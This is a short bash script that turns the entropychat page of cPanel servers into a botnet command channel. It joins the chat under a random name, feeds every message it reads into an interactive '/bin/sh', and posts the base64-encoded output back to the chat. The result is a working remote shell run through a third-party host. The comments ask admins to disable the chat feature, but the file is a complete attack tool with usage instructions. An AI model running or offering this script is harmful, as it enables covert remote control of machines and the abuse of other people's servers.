entropybot.sh

#!/bin/bash
# Turn entropychat, which used to be enabled by default on most cPanel servers, into a bot controller
# (disable it please and thank you, it's a horribly crappy attempt at a chat page)
# I wrote this ages ago so it's kinda crappy and filled with hacky things to prevent buffering
# Usage: ./entropybot.sh hostname.example.com
# by aburk

HOST=$1
trap ctrl_c INT
function ctrl_c() {
	curl "$HOST:2084/talk?$TOKEN&talk=%2Fquit&action=Say" -s > /dev/null # graceful chat quit
	trap 'jobs -p | xargs kill' EXIT # kill the backgrounded curl 
	rm -f $PIPE
	exit
}

post_multiline() {
	base64 --decode |xargs -L1 -I{} curl -s -G --data-urlencode "talk=### {}" "$HOST:2084/talk?$TOKEN&action=Say" > /dev/null
	}

TOKEN=$(curl -s $HOST:2084|grep -m1 -Po "sessionid=.*"|awk -F\" '{print $1}')
USERNAME=$(cut -c1-30 /dev/urandom|head -n1 |md5sum |cut -c1-15)
echo Connecting to  "$HOST:2084"
PIPE=$RANDOM ; rm -f $PIPE; mkfifo $PIPE ;
curl -N -s "$HOST:2084/chat?$TOKEN" |egrep -v "($USERNAME|###)" --line-buffered|grep -e '\[\(.*\)\]' --line-buffered| sed -u -e 's/\[\(.*\)\]\(.*\)<br>/\2/' > $PIPE & 
curl -s "$HOST:2084/talk?$TOKEN&talk=%2Fnick+$USERNAME&action=Say" > /dev/null
while true
do
	if read line; then
echo $line | /bin/sh -i 2>&1 | base64 | post_multiline
fi
done <"$PIPE"